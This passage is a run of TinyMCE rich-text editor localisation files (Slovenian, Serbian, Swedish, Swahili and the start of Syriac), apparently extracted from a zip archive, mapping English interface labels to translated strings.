"Find and replace": "Poi\u0161\u010di in zamenjaj",
"Replace with": "Zamenjaj z",
"Find": "Poi\u0161\u010di",
"Replace all": "Zamenjaj vse",
"Match case": "Ujemanje malih in velikih \u010drk",
"Prev": "Nazaj",
"Spellcheck": "Preverjanje \u010drkovanja",
"Finish": "Zaklju\u010di",
"Ignore all": "Prezri vse",
"Ignore": "Prezri",
"Add to Dictionary": "Dodaj v slovar",
"Insert row before": "Vstavi vrstico pred",
"Rows": "Vrstice",
"Height": "Vi\u0161ina",
"Paste row after": "Prilepi vrstico za",
"Alignment": "Poravnava",
"Border color": "Barva obrobe",
"Column group": "Grupiranje stolpcev",
"Row": "Vrstica",
"Insert column before": "Vstavi stolpec pred",
"Split cell": "Razdeli celico",
"Cell padding": "Polnilo med celicami",
"Cell spacing": "Razmik med celicami",
"Row type": "Tip vrstice",
"Insert table": "Vstavi tabelo",
"Body": "Vsebina",
"Caption": "Naslov",
"Footer": "Noga",
"Delete row": "Izbri\u0161i vrstico",
"Paste row before": "Prilepi vrstico pred",
"Scope": "Obseg",
"Delete table": "Izbri\u0161i tabelo",
"H Align": "Vodoravna poravnava",
"Top": "Zgoraj",
"Header cell": "Celica glave",
"Column": "Stolpec",
"Row group": "Grupiranje vrstic",
"Cell": "Celica",
"Middle": "Sredina",
"Cell type": "Tip celice",
"Copy row": "Kopiraj vrstico",
"Row properties": "Lastnosti vrstice",
"Table properties": "Lastnosti tabele",
"Bottom": "Spodaj",
"V Align": "Navpi\u010dna poravnava",
"Header": "Glava",
"Right": "Desno",
"Insert column after": "Vstavi stolpec za",
"Cols": "Stolpci",
"Insert row after": "Vstavi vrstico za",
"Width": "\u0160irina",
"Cell properties": "Lastnosti celice",
"Left": "Levo",
"Cut row": "Izre\u017ei vrstico",
"Delete column": "Izbri\u0161i stolpec",
"Center": "Sredinsko",
"Merge cells": "Zdru\u017ei celice",
"Insert template": "Vstavi predlogo",
"Templates": "Predloge",
"Background color": "Barva ozadja",
"Custom...": "Po meri...",
"Custom color": "Barva po meri",
"No color": "Brez barve",
"Text color": "Barva besedila",
"Table of Contents": "Vsebina tabele",
"Show blocks": "Prika\u017ei grupe",
"Show invisible characters": "Prika\u017ei skrite
znake",
"Words: {0}": "Besed: {0}",
"Insert": "Vstavi",
"File": "Datoteka",
"Edit": "Uredi",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help": "Bogato besedilo. Pritisnite ALT-F9 za
meni. Pritisnite ALT-F10 za orodno vrstico. Pritisnite ALT-0 za
pomo\u010d",
"Tools": "Orodja",
"View": "Pogled",
"Table": "Tabela",
"Format": "Oblika"
});PKR��[T�	#��tinymce/langs/sr.jsnu�[���tinymce.addI18n('sr',{
"Cut": "Iseci",
"Header 2": "Zaglavlje 2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.":
"Va\u0161 pretra\u017eiva\u010d nepodr\u017eava direktan pristup
prenosu.Koristite Ctrl+X\/C\/V pre\u010dice na tastaturi",
"Div": "Div",
"Paste": "Nalepi",
"Close": "Zatvori",
"Font Family": "Vrsta fonta",
"Pre": "Pre",
"Align right": "Poravnano  desno",
"New document": "Novi dokument",
"Blockquote": "Navodnici",
"Numbered list": "Numerisana lista",
"Increase indent": "Pove\u0107aj uvla\u010denje",
"Formats": "Formatiraj",
"Headers": "Zaglavlje",
"Select all": "Obele\u017ei sve",
"Header 3": "Zaglavlje 3",
"Blocks": "Blokovi",
"Undo": "Nazad",
"Strikethrough": "Precrtan",
"Bullet list": "Lista nabrajanja",
"Header 1": "Zaglavlje 1",
"Superscript": "Natpis",
"Clear formatting": "Brisanje formatiranja",
"Font Sizes": "Veli\u010dine fontova",
"Subscript": "Potpisan",
"Header 6": "Zaglavlje 6",
"Redo": "Napred",
"Paragraph": "Paragraf",
"Ok": "Ok",
"Bold": "Podebljan",
"Code": "Kod",
"Italic": "isko\u0161en",
"Align center": "Poravnano centar",
"Header 5": "Zaglavlje 5",
"Decrease indent": "Smanji uvla\u010denje",
"Header 4": "Zaglavlje 4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.": "Nalepiti je sada u
obi\u010dnom text modu.Sadr\u017eaj \u0107e biti nalepljen kao obi\u010dan
tekst dok ne ugasite ovu opciju.",
"Underline": "Podvu\u010den",
"Cancel": "Opozovi",
"Justify": "Poravnanje",
"Inline": "U liniji",
"Copy": "Kopiraj",
"Align left": "Poravnano levo",
"Visual aids": "Vizuelna pomagala",
"Lower Greek": "Ni\u017ei gr\u010dki",
"Square": "Kvadrat",
"Default": "Podrazumevano",
"Lower Alpha": "Donja Alpha",
"Circle": "Krug",
"Disc": "Disk",
"Upper Alpha": "Gornji Alpha",
"Upper Roman": "Gornji Roman",
"Lower Roman": "Donji Roman",
"Name": "Ime",
"Anchor": "Sidro",
"You have unsaved changes are you sure you want to navigate
away?": "Imate nesa\u010duvane promene dali ste sigurni da
\u017eelite da iza\u0111ete?",
"Restore last draft": "Vrati  poslednji nacrt",
"Special character": "Specijalni karakter",
"Source code": "Izvorni kod",
"Right to left": "Sa desne na levu",
"Left to right": "Sa leve na desnu",
"Emoticons": "Smajliji",
"Robots": "Roboti",
"Document properties": "Postavke dokumenta",
"Title": "Naslov",
"Keywords": "Klju\u010dne re\u010di",
"Encoding": "Kodiranje",
"Description": "Opis",
"Author": "Autor",
"Fullscreen": "Pun ekran",
"Horizontal line": "Horizontalna linija",
"Horizontal space": "Horizontalni razmak",
"Insert\/edit image": "Ubaci\/Promeni sliku",
"General": "Op\u0161te",
"Advanced": "Napredno",
"Source": "Izvor",
"Border": "Okvir",
"Constrain proportions": "Ograni\u010dene proporcije",
"Vertical space": "Vertikalni razmak",
"Image description": "Opis slike",
"Style": "Stil",
"Dimensions": "Dimenzije",
"Insert image": "Ubaci sliku",
"Insert date\/time": "Ubaci datum\/vreme",
"Remove link": "Ukloni link",
"Url": "Url",
"Text to display": "Tekst za prikaz",
"Anchors": "sidro",
"Insert link": "Ubaci vezu",
"New window": "Novi prozor",
"None": "Ni\u0161ta",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "The URL you entered seems to be
an external link. Do you want to add the required http:\/\/ prefix?",
"Target": "Meta",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "The URL you entered seems to be
an email address. Do you want to add the required mailto: prefix?",
"Insert\/edit link": "Ubaci\/promeni vezu",
"Insert\/edit video": "Ubaci\/promeni video",
"Poster": "Poster",
"Alternative source": "Alternativni izvor",
"Paste your embed code below:": "Nalepite ugra\u0111eni kod
ispod:",
"Insert video": "Ubaci video",
"Embed": "Ugra\u0111eno",
"Nonbreaking space": "bez ramaka",
"Page break": "Lomljenje stranice",
"Paste as text": "Nalepi kao tekst",
"Preview": "Pregled",
"Print": "\u0160tampanje",
"Save": "Sa\u010duvati",
"Could not find the specified string.": "Nije mogu\u0107e
prona\u0107i navedeni niz.",
"Replace": "Zameni",
"Next": "Slede\u0107i",
"Whole words": "Cele re\u010di",
"Find and replace": "Na\u0111i i zameni",
"Replace with": "Zameni sa",
"Find": "Na\u0111i",
"Replace all": "Zameni sve",
"Match case": "Predmet za upore\u0111ivanje",
"Prev": "Prethodni",
"Spellcheck": "Provera pravopisa",
"Finish": "Kraj",
"Ignore all": "Ignori\u0161i sve",
"Ignore": "ignori\u0161i",
"Insert row before": "Ubaci red pre",
"Rows": "Redovi",
"Height": "Visina",
"Paste row after": "Nalepi red posle",
"Alignment": "Svrstavanje",
"Column group": "Grupa kolone",
"Row": "Red",
"Insert column before": "Ubaci kolonu pre",
"Split cell": "Razdvoji \u0107elije",
"Cell padding": "Razmak \u0107elije",
"Cell spacing": "Prostor \u0107elije",
"Row type": "Tip reda",
"Insert table": "ubaci tabelu",
"Body": "Telo",
"Caption": "Natpis",
"Footer": "Podno\u017eje",
"Delete row": "Obri\u0161i red",
"Paste row before": "Nalepi red pre",
"Scope": "Obim",
"Delete table": "Obri\u0161i tabelu",
"Header cell": "Visina \u0107elije",
"Column": "Kolona",
"Cell": "\u0106elija",
"Header": "Zaglavlje",
"Cell type": "Tip \u0107elije",
"Copy row": "Kopiraj red",
"Row properties": "Postavke reda",
"Table properties": "Postavke tabele",
"Row group": "Grupa reda",
"Right": "Desno",
"Insert column after": "Ubaci kolonu posle",
"Cols": "Kolone",
"Insert row after": "Ubaci red posle",
"Width": "\u0160irina",
"Cell properties": "Postavke \u0107elije",
"Left": "Levo",
"Cut row": "Iseci red",
"Delete column": "Obri\u0161i kolonu",
"Center": "Centar",
"Merge cells": "Spoji \u0107elije",
"Insert template": "Ubaci \u0161ablon",
"Templates": "\u0160abloni",
"Background color": "Boja pozadine",
"Text color": "Boja tekst",
"Show blocks": "Prikaz blokova",
"Show invisible characters": "Prika\u017ei nevidljive
karaktere",
"Words: {0}": "Re\u010di:{0}",
"Insert": "Umetni",
"File": "Datoteka",
"Edit": "Ure\u0111ivanje",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help": "Oboga\u0107en tekst. Pritisni te ALT-F9
za meni.Pritisnite ALT-F10 za traku sa alatkama.Pritisnite ALT-0 za
pomo\u0107",
"Tools": "Alatke",
"View": "Prikaz",
"Table": "Tabela",
"Format": "Format"
});PKR��[���F��tinymce/langs/sv.jsnu�[���tinymce.addI18n('sv',{
"Cut": "Klipp ut",
"Heading 5": "Rubrik 5",
"Header 2": "Rubrik 2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Din
webbl\u00e4sare st\u00f6djer inte direkt \u00e5tkomst till urklipp.
V\u00e4nligen anv\u00e4nd kortkommandona Ctrl+X\/C\/V i
st\u00e4llet.",
"Heading 4": "Rubrik 4",
"Div": "Div",
"Heading 2": "Rubrik 2",
"Paste": "Klistra in",
"Close": "St\u00e4ng",
"Font Family": "Teckensnitt",
"Pre": "F\u00f6rformaterad",
"Align right": "H\u00f6gerst\u00e4ll",
"New document": "Nytt dokument",
"Blockquote": "Blockcitat",
"Numbered list": "Nummerlista",
"Heading 1": "Rubrik 1",
"Headings": "Rubriker",
"Increase indent": "\u00d6ka indrag",
"Formats": "Format",
"Headers": "Rubriker",
"Select all": "Markera allt",
"Header 3": "Rubrik 3",
"Blocks": "Block",
"Undo": "\u00c5ngra",
"Strikethrough": "Genomstruken",
"Bullet list": "Punktlista",
"Header 1": "Rubrik 1",
"Superscript": "Upph\u00f6jd text",
"Clear formatting": "Ta bort format",
"Font Sizes": "Storlek",
"Subscript": "Neds\u00e4nkt text",
"Header 6": "Rubrik 6",
"Redo": "G\u00f6r om",
"Paragraph": "Br\u00f6dtext",
"Ok": "OK",
"Bold": "Fetstil",
"Code": "Kod",
"Italic": "Kursiv stil",
"Align center": "Centrera",
"Header 5": "Rubrik 5",
"Heading 6": "Rubrik 6",
"Heading 3": "Rubrik 3",
"Decrease indent": "Minska indrag",
"Header 4": "Rubrik 4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.": "Klistra in \u00e4r nu i
textl\u00e4ge. Inneh\u00e5ll kommer att konverteras till text tills du
sl\u00e5r av detta l\u00e4ge.",
"Underline": "Understruken",
"Cancel": "Avbryt",
"Justify": "Justera",
"Inline": "P\u00e5 rad",
"Copy": "Kopiera",
"Align left": "V\u00e4nsterst\u00e4ll",
"Visual aids": "Visuella hj\u00e4lpmedel",
"Lower Greek": "Grekiska gemener",
"Square": "Fyrkant",
"Default": "Original",
"Lower Alpha": "Gemener",
"Circle": "Cirkel",
"Disc": "Disk",
"Upper Alpha": "Versaler",
"Upper Roman": "Romerska versaler",
"Lower Roman": "Romerska gemener",
"Id should start with a letter, followed only by letters, numbers,
dashes, dots, colons or underscores.": "ID skall b\u00f6rja med
en boktav och endast f\u00f6ljas av bokst\u00c4ver a-z, siffror,
bindestreck, punkt, kolon eller understreck.",
"Name": "Namn",
"Anchor": "Ankare",
"Id": "ID",
"You have unsaved changes are you sure you want to navigate
away?": "Du har f\u00f6r\u00e4ndringar som du inte har sparat.
\u00c4r du s\u00e4ker p\u00e5 att du vill navigera vidare?",
"Restore last draft": "\u00c5terst\u00e4ll senaste
utkast",
"Special character": "Specialtecken",
"Source code": "K\u00e4llkod",
"Language": "Spr\u00e5k",
"Insert\/Edit code sample": "Infoga\/\u00e4ndra
kodexempel",
"B": "B",
"R": "R",
"G": "G",
"Color": "F\u00e4rg",
"Right to left": "H\u00f6ger till v\u00e4nster",
"Left to right": "V\u00e4nster till h\u00f6ger",
"Emoticons": "Emoticons",
"Robots": "Robotar",
"Document properties": "Dokumentegenskaper",
"Title": "Titel",
"Keywords": "Nyckelord",
"Encoding": "Kodning",
"Description": "Beskrivning",
"Author": "F\u00f6rfattare",
"Fullscreen": "Fullsk\u00e4rm",
"Horizontal line": "Horisontell linje",
"Horizontal space": "Horisontellt utrymme",
"Insert\/edit image": "Infoga\/redigera bild",
"General": "Generella",
"Advanced": "Avancerat",
"Source": "K\u00e4lla",
"Border": "Ram",
"Constrain proportions": "Begr\u00e4nsa proportioner",
"Vertical space": "Vertikaltutrymme",
"Image description": "Bildbeskrivning",
"Style": "Stil",
"Dimensions": "Dimensioner",
"Insert image": "Infoga bild",
"Image": "Bild",
"Zoom in": "Zooma in",
"Contrast": "Kontrast",
"Back": "Tillbaka",
"Gamma": "Gamma",
"Flip horizontally": "V\u00e4nd horsontellt",
"Resize": "Skala om",
"Sharpen": "Sk\u00e4rpa",
"Zoom out": "Zooma ut",
"Image options": "Bildalternativ",
"Apply": "Verst\u00e4ll",
"Brightness": "Ljusstyrka",
"Rotate clockwise": "Rotera medurs",
"Rotate counterclockwise": "Rotera moturs",
"Edit image": "\u00c4ndra bild",
"Color levels": "F\u00e4rgniv\u00e5er",
"Crop": "Besk\u00e4r",
"Orientation": "Riktning",
"Flip vertically": "V\u00e4nd vertikalt",
"Invert": "Invertera",
"Date\/time": "Datum\/tid",
"Insert date\/time": "Infoga datum\/tid",
"Remove link": "Ta bort l\u00e4nk",
"Url": "Url",
"Text to display": "Text att visa",
"Anchors": "Bokm\u00e4rken",
"Insert link": "Infoga l\u00e4nk",
"Link": "L\u00e4nk",
"New window": "Nytt f\u00f6nster",
"None": "Ingen",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "Urlen du angav verkar vara en
extern l\u00e4nk. Vill du l\u00e4gga till http:\/\/ prefixet?",
"Paste or type a link": "Klistra in eller ange en
l\u00e4nk",
"Target": "M\u00e5l",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "Urlen du angav verkar vara en
epost adress. Vill du l\u00e4gga till ett mailto: prefix?",
"Insert\/edit link": "Infoga\/redigera l\u00e4nk",
"Insert\/edit video": "Infoga\/redigera video",
"Poster": "Affish",
"Alternative source": "Alternativ k\u00e4lla",
"Paste your embed code below:": "Klistra in din
inb\u00e4ddningskod nedan:",
"Insert video": "Infoga video",
"Poster": "Affish",
"Insert\/edit media": "Infoga\/\u00e4ndra media",
"Embed": "Inb\u00e4ddning",
"Nonbreaking space": "Avbrottsfritt mellanrum",
"Page break": "Sydbrytning",
"Paste as text": "Klistra in som text",
"Preview": "F\u00f6rhandsgranska",
"Print": "Skriv ut",
"Save": "Spara",
"Could not find the specified string.": "Kunde inte hitta
den specifierade st\u00e4ngen.",
"Replace": "Ers\u00e4tt",
"Next": "N\u00e4sta",
"Whole words": "Hela ord",
"Find and replace": "S\u00f6k och ers\u00e4tt",
"Replace with": "Ers\u00e4tt med",
"Find": "S\u00f6k",
"Replace all": "Ers\u00e4tt alla",
"Match case": "Matcha gemener\/versaler",
"Prev": "F\u00f6reg\u00e5ende",
"Spellcheck": "R\u00e4ttstava",
"Finish": "Avsluta",
"Ignore all": "Ignorera alla",
"Ignore": "Ignorera",
"Add to Dictionary": "L\u00e4gg till i ordlista",
"Insert row before": "Infoga rad f\u00f6re",
"Rows": "Rader",
"Height": "H\u00f6jd",
"Paste row after": "Klistra in rad efter",
"Alignment": "Justering",
"Border color": "Ramf\u00e4rg",
"Column group": "Kolumngrupp",
"Row": "Rad",
"Insert column before": "Infoga kollumn f\u00f6re",
"Split cell": "Bryt is\u00e4r celler",
"Cell padding": "Cellpaddning",
"Cell spacing": "Cellmellanrum",
"Row type": "Radtyp",
"Insert table": "Infoga tabell",
"Body": "Kropp",
"Caption": "Rubrik",
"Footer": "Fot",
"Delete row": "Radera rad",
"Paste row before": "Klista in rad f\u00f6re",
"Scope": "Omf\u00e5ng",
"Delete table": "Radera tabell",
"H Align": "H-justering",
"Top": "Toppen",
"Header cell": "Huvudcell",
"Column": "Kolumn",
"Row group": "Radgrupp",
"Cell": "Cell",
"Middle": "Mitten",
"Cell type": "Celltyp",
"Copy row": "Kopiera rad",
"Row properties": "Radegenskaper",
"Table properties": "Tabellegenskaper",
"Bottom": "Botten",
"V Align": "V-justering",
"Header": "Huvud",
"Right": "H\u00f6ger",
"Insert column after": "Infoga kolumn efter",
"Cols": "Kolumner",
"Insert row after": "Infoga rad efter",
"Width": "Bredd",
"Cell properties": "Cellegenskaper",
"Left": "V\u00e4nster",
"Cut row": "Klipp ut rad",
"Delete column": "Radera kolumn",
"Center": "Centrum",
"Merge cells": "Sammanfoga celler",
"Insert template": "Infoga mall",
"Templates": "Mallar",
"Background color": "Bakgrundsf\u00e4rg",
"Custom...": "Anpassad...",
"Custom color": "Anpassad f\u00e4rg",
"No color": "Ingen f\u00e4rg",
"Text color": "Textf\u00e4rg",
"Table of Contents": "Inneh\u00e5llsf\u00f6rteckning",
"Show blocks": "Visa block",
"Show invisible characters": "Visa onsynliga tecken",
"Words: {0}": "Ord: {0}",
"Insert": "Infoga",
"File": "Fil",
"Edit": "Redigera",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help": "Textredigerare. Tryck ALT-F9 f\u00f6r
menyn. Tryck ALT-F10 f\u00f6r verktygsrader. Tryck ALT-0 f\u00f6r
hj\u00e4lp.",
"Tools": "Verktyg",
"View": "Visa",
"Table": "Tabell",
"Format": "Format"
});PKR��[�KD��tinymce/langs/sw.jsnu�[���tinymce.addI18n('sw',{
"Cut": "Kata",
"Heading 5": "Kichwa 5",
"Header 2": "Kijajuu 2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.":
"Kisakuzi chako hakiauniwi kufika kwa clipboard moja kwa moja.
Tafadhali tumia njia fupi ya kinanda taipu, kama Ctrl+X\/C\/V.",
"Heading 4": "Kichwa 4",
"Div": "Div",
"Heading 2": "Kichwa 2",
"Paste": "Bandika",
"Close": "Funga",
"Font Family": "Jamii ya fonti",
"Pre": "Iliofomatiwa",
"Align right": "Panga kulia",
"New document": "Waraka mpya",
"Blockquote": "Nukuu",
"Numbered list": "Orodha ya nambari",
"Heading 1": "Kichwa 1",
"Headings": "Vichwa",
"Increase indent": "Ongeza jongezo",
"Formats": "Fomati",
"Headers": "Vijajuu",
"Select all": "Chagua zote",
"Header 3": "Kijajuu 3",
"Blocks": "Matofali",
"Undo": "Tengua",
"Strikethrough": "Mkato ulalo",
"Bullet list": "Orodha ya tobo",
"Header 1": "Kijajuu 1",
"Superscript": "Hati juu",
"Clear formatting": "Safisha fomati",
"Font Sizes": "Ukubwa wa fonti",
"Subscript": "Hati chini",
"Header 6": "Kijajuu 6",
"Redo": "Rudia",
"Paragraph": "Aya",
"Ok": "Ok",
"Bold": "Nene",
"Code": "Kodi",
"Italic": "Italiki",
"Align center": "Panga katikati",
"Header 5": "Kijajuu 5",
"Heading 6": "Kichwa 6",
"Heading 3": "Kichwa 3",
"Decrease indent": "Punguza jongezo",
"Header 4": "Kijajuu 4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.": "Bandika sasa iko katika
modi ya matini ghafi. Yaliyomo yatabandikwa kama matini ghafi mpaka utakapo
zima chaguo hili.",
"Underline": "Pigia mstari",
"Cancel": "Ghairi",
"Justify": "Sawazisha",
"Inline": "Inline",
"Copy": "Nakili",
"Align left": "Panga kushoto",
"Visual aids": "Misaada ya kuona",
"Lower Greek": "Herufi ndogo za kigiriki",
"Square": "Mraba",
"Default": "Difoti",
"Lower Alpha": "Herufi ndogo",
"Circle": "Duara",
"Disc": "Nukta",
"Upper Alpha": "Herufi kubwa",
"Upper Roman": "Herufi kubwa za kirumi",
"Lower Roman": "Herufi ndogo za kirumi",
"Id should start with a letter, followed only by letters, numbers,
dashes, dots, colons or underscores.": "Kitambulisho kinapaswa
kuanza na herufi kufwatiwa na maherufi, manambari, madeshi, vitone, minukta
pacha au vistari chini pekee.",
"Name": "Jina",
"Anchor": "Nanga",
"Id": "Kitambulisho",
"You have unsaved changes are you sure you want to navigate
away?": "Uko na mabadilisho ambayo hujayahifadhi. Una hakika
unataka kuwacha?",
"Restore last draft": "Rejesha mswadajaribio wa
mwisho",
"Special character": "Kikambo maalum",
"Source code": "Chanzo",
"Language": "Lugha",
"Insert\/Edit code sample": "Ingiza\/hariri mfano wa
kodi",
"B": "B",
"R": "R",
"G": "G",
"Color": "Rangi",
"Right to left": "Kulia-kushoto",
"Left to right": "Kushoto-kulia",
"Emoticons": "Emoticons",
"Robots": "Roboti",
"Document properties": "Sifa za waraka",
"Title": "Kichwa",
"Keywords": "Maneno misingi",
"Encoding": "Usimbaji",
"Description": "Fafanuo",
"Author": "Mwandishi",
"Fullscreen": "Skrini kamili",
"Horizontal line": "Mstari mlalo",
"Horizontal space": "Nafasi mlalo",
"Insert\/edit image": "Ingiza\/hariri picha",
"General": "Ujumla",
"Advanced": "Hali ya juu",
"Source": "Kodi ya chanzo",
"Border": "Mkingo",
"Constrain proportions": "Lazimisha uwiano",
"Vertical space": "Nafasi wima",
"Image description": "Fafanuo la picha",
"Style": "Mtindo",
"Dimensions": "Kipimo",
"Insert image": "Ingiza picha",
"Image": "Picha",
"Zoom in": "Kuza zaidi",
"Contrast": "Ulinganuzi",
"Back": "Nyuma",
"Gamma": "Gamma",
"Flip horizontally": "Geuza mlalo",
"Resize": "Badilisha ukubwa",
"Sharpen": "Chonga",
"Zoom out": "Fifiza",
"Image options": "Machaguo ya picha",
"Apply": "Omba",
"Brightness": "Mwangaza",
"Rotate clockwise": "Zungusha mwelekeo saa",
"Rotate counterclockwise": "Zungusha mwelekeo kinyume cha
saa",
"Edit image": "Hariri",
"Color levels": "Viwango vya rangi",
"Crop": "Puna",
"Orientation": "Uelekeo",
"Flip vertically": "Geuza wima",
"Invert": "Pindua",
"Date\/time": "Tarehe\/saa",
"Insert date\/time": "Ingiza tarehe\/saa",
"Remove link": "Ondoa kiungo",
"Url": "URL",
"Text to display": "Matini ya kuonyesha",
"Anchors": "Mananga",
"Insert link": "Ingiza kiungo",
"Link": "Kiungo",
"New window": "Dirisha jipya",
"None": "Hakuna",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "URL ulioingiza unaonekana ni
kama kiungo cha nje. Unataka kuongeza prefix inayohitajika, ambayo ni
http:\/\/ ?",
"Paste or type a link": "Bandika au kuchapa kiungo",
"Target": "Lengo",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "URL ulioingiza unaonekana ni kama
anwani ya barua pepe. Unataka kuongeza prefix inayohitajika, ambayo ni
mailto: ?",
"Insert\/edit link": "Ingiza\/hariri kiungo",
"Insert\/edit video": "Ingiza\/hariri video",
"Media": "Midia",
"Alternative source": "Chanzo cha mbadala",
"Paste your embed code below:": "Bandika kodi yako ya
kupachika hapo chini:",
"Insert video": "Ingiza video",
"Poster": "Bando",
"Insert\/edit media": "Ingiza\/hariri midia",
"Embed": "Pachika",
"Nonbreaking space": "Nafasi fungamanishi",
"Page break": "Kigawa kurasa",
"Paste as text": "Bandika kama matini",
"Preview": "Hakikisho",
"Print": "Chapisha",
"Save": "Hifadhi",
"Could not find the specified string.": "Haikuweza kupata
tungo lililoelezwa.",
"Replace": "Badilisha",
"Next": "Ifuatayo",
"Whole words": "Maneno kamili",
"Find and replace": "Tafuta na badilisha",
"Replace with": "Badilisha na",
"Find": "Tafuta",
"Replace all": "Badilisha zote",
"Match case": "Tahadhari herufi ndogo\/kubwa",
"Prev": "Iliopita",
"Spellcheck": "Ukaguzi tahajia",
"Finish": "Maliza",
"Ignore all": "Puuza zote",
"Ignore": "Puuza",
"Add to Dictionary": "Ongeza kwa kamusi",
"Insert row before": "Ingiza safumlalo kabla",
"Rows": "Masafumlalo",
"Height": "Urefu",
"Paste row after": "Bandika safumlalo baada",
"Alignment": "Mpangilio",
"Border color": "Rangi ya mkingo",
"Column group": "Kikundi cha safuwima",
"Row": "Safumlalo",
"Insert column before": "Ingiza safuwima kabla",
"Split cell": "Bainisha seli",
"Cell padding": "Pedi ya seli",
"Cell spacing": "Nafasi ya seli",
"Row type": "Aina ya safumlalo",
"Insert table": "Ingiza jedwali",
"Body": "Mwili",
"Caption": "Manukuu",
"Footer": "Kijachini",
"Delete row": "Futa safumlalo",
"Paste row before": "Bandika safumlalo kabla",
"Scope": "Wigo",
"Delete table": "Futa jedwali",
"H Align": "Pangilia mlalo",
"Top": "Juu",
"Header cell": "Seli ya kijajuu",
"Column": "Safuwima",
"Row group": "Kikundi cha safumlalo",
"Cell": "Seli",
"Middle": "Katikati",
"Cell type": "Aina ya seli",
"Copy row": "Nakili safumlalo",
"Row properties": "Mali ya safumlalo",
"Table properties": "Masifa ya jedwali",
"Bottom": "Chini",
"V Align": "Pangilia wima",
"Header": "Kijajuu",
"Right": "Kulia",
"Insert column after": "Ingiza safuwima baada",
"Cols": "Masafuwima",
"Insert row after": "Ingiza safumlalo baada",
"Width": "Upana",
"Cell properties": "Mali ya seli",
"Left": "Kushoto",
"Cut row": "Kata safumlalo",
"Delete column": "Futa safuwima",
"Center": "Katikati",
"Merge cells": "Unganisha maseli",
"Insert template": "Ingiza templeti",
"Templates": "Templeti",
"Background color": "Rangi ya usuli",
"Custom...": "Desturi...",
"Custom color": "Rangi ya desturi",
"No color": "Hakuna rangi",
"Text color": "Rangi ya matini",
"Table of Contents": "Jedwali la yaliyomo",
"Show blocks": "Onyesha matofali",
"Show invisible characters": "Onyesha vibambo
visivyoonekana",
"Words: {0}": "Maneno: {0}",
"Insert": "Ingiza",
"File": "Faili",
"Edit": "Hariri picha",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help": "Eneo la matini tondoti. Bofya ALT-F9 kwa
menyu. Bofya ALT-F10 kwa upauzana. Bofya ALT-0 kwa usaidizi",
"Tools": "Zana",
"View": "Mtazamo",
"Table": "Jedwali",
"Format": "Fomati",
});PKR��[@�ʘ7�7tinymce/langs/sy.jsnu�[���tinymce.addI18n('sy',{
"Cut": "\u0729\u0718\u0728",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.":
"\u0721\u0713\u0712\u0717 Ctrl+X\/C\/V \u0712\u072a\u0718\u0723\u072a
\u0715\u071d\u0718\u071f\u0742 \u0720\u0710 \u071d\u0720\u0717
\u0721\u072c\u0725\u0715\u072a\u0722\u0710 \u071a\u0715\u072a\u072b\u0710
\u0720\u0725\u0712\u0742\u072a\u0710
\u0720\u071b\u0712\u0742\u0720\u071d\u072c \u0729\u071d\u0728\u072c\u0710.
\u0710\u0722 \u0712\u0723\u0721\u0710 \u0720\u0718\u071f\u0742
\u0721\u0726\u0720\u071a \u0713\u0715\u071d\u0721\u0718\u072c
\u0729\u0726\u0720\u0710",
"Paste": "\u0715\u0712\u072b",
"Close": "\u0715\u0712\u0742\u0718\u072a",
"Align right": "\u0721\u0723\u0715\u072a\u072c\u0710
\u0720\u071d\u0721\u071d\u0722\u0710",
"New document": "\u0722\u0718\u0717\u072a\u0710
\u071a\u0715\u072c\u0710",
"Numbered list": "\u0729\u071d\u0721\u072c\u0710
\u0721\u072a\u0718\u0729\u0721\u072c\u0710",
"Increase indent": "\u0721\u0719\u071d\u0715
\u0723\u0726\u071d\u0729\u0718\u072c\u0710
\u0715\u072b\u0718\u072a\u071d\u0710 \u0715\u0723\u072a\u071b\u0710",
"Formats":
"\u0710\u0723\u071f\u071d\u0721\u0308\u0710",
"Select all": "\u0726\u072a\u0718\u072b
\u0720\u071f\u0720",
"Undo": "\u0720\u0710 \u0725\u0712\u0742\u0718\u0715",
"Strikethrough": "\u0723\u072a\u071b\u0710
\u0721\u0713\u0718",
"Bullet list": "\u0729\u071d\u0721\u072c\u0710
\u0715\u071f\u0726\u071d\u072c\u0308\u0710",
"Superscript": "\u072a\u0712 \u0723\u072a\u071b\u0710",
"Clear formatting": "\u072b\u071d\u0718\u0726
\u0720\u0710\u0723\u071f\u071d\u0721\u0308\u0710",
"Subscript": "\u0726\u0725\u0718\u072c
\u0723\u072a\u071b\u0710",
"Redo": "\u0721\u071b\u071d\u0712\u0742\u0710",
"Ok": "\u071b\u0712\u0742\u0710",
"Bold": "\u071a\u0720\u071d\u0721\u0710",
"Italic": "\u0713\u0722\u071d\u0710",
"Align center": "\u0721\u0723\u0715\u072a\u072c\u0710
\u0712\u0726\u0720\u0713\u0710",
"Decrease indent": "\u0721\u0712\u0728\u072a
\u0723\u0726\u071d\u0729\u0718\u072c \u0715\u072b\u0718\u072a\u071d\u0710
\u0715\u0723\u072a\u071b\u0710",
"Underline": "\u072c\u071a\u0718\u072c
\u0713\u0330\u072a\u0713\u0710",
"Cancel": "\u0721\u0712\u071b\u0720",
"Justify":
"\u0721\u0719\u0715\u0715\u0729\u0722\u0718\u072c\u0710",
"Copy": "\u0722\u0723\u0718\u071f\u073c",
"Align left": "\u0721\u0723\u0715\u072a\u072c\u0710
